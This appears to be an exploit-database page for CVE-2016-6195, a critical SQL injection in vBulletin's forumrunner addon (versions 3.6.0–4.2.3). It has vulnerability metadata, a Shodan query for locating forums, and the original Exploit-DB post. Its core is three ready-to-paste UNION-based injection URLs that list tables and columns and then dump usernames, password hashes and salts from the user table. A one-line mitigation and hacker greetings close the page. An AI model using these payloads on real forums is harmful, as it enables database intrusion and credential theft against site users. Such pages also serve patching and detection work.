vBulletin - exploit.company

vendor:

vBulletin

by:

Manish Kishan Tanwar AKA error1046

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: vBulletin

Affected Version From: 3.6.0

Affected Version To: 4.2.3

Patch Exists: YES

Related CWE: CVE-2016-6195

CPE: a:vbulletin:vbulletin

Metasploit: N/A

Other Scripts: N/A

Tags: cve,cve2016,vbulletin,sqli,forum,edb

CVSS Metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Nuclei References: https://www.cvedetails.com/cve/CVE-2016-6195/, https://www.exploit-db.com/exploits/38489, https://enumerated.wordpress.com/2016/07/11/1/, http://www.vbulletin.org/forum/showthread.php?t=322848, https://github.com/drewlong/vbully

Nuclei Metadata: {'max-request': 6, 'shodan-query': 'title:"Powered By vBulletin"', 'verified': 'true', 'vendor': 'vbulletin', 'product': 'vbulletin'}

Platforms Tested: None

2015

vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)

vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.

Mitigation:

Upgrade to the latest version of vBulletin.

Source

Exploit-DB raw data:

##################################################################################################
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 25/08/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab(originally developed by Dantalion)
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon. 
Vulnerability was analized and documented by Dantalion (https://enumerated.wordpress.com/2016/07/11/1/) 
so credit goes to Dantalion only :) 

 
  
 
////////////////
///  POC   ////
///////////////

SQL Injection payload to enumerate table names
----------------------------------------------
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),5,6,7,8,9,10-- -


SQL Injection payload to enumerate column names from table "user"
----------------------------------------------------------------
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.columns)where (table_name=0x75736572) and (0x00) in (@x:=concat(@x,0x3c62723e,column_name))))x),5,6,7,8,9,10-- -


SQL Injection payload to enumerate username,password hash and salt from "user" table
----------------------------------------------------------------------------------
http://forum_directory//forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -

/////////////////
exploit code ends here
 
 
 
 
                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3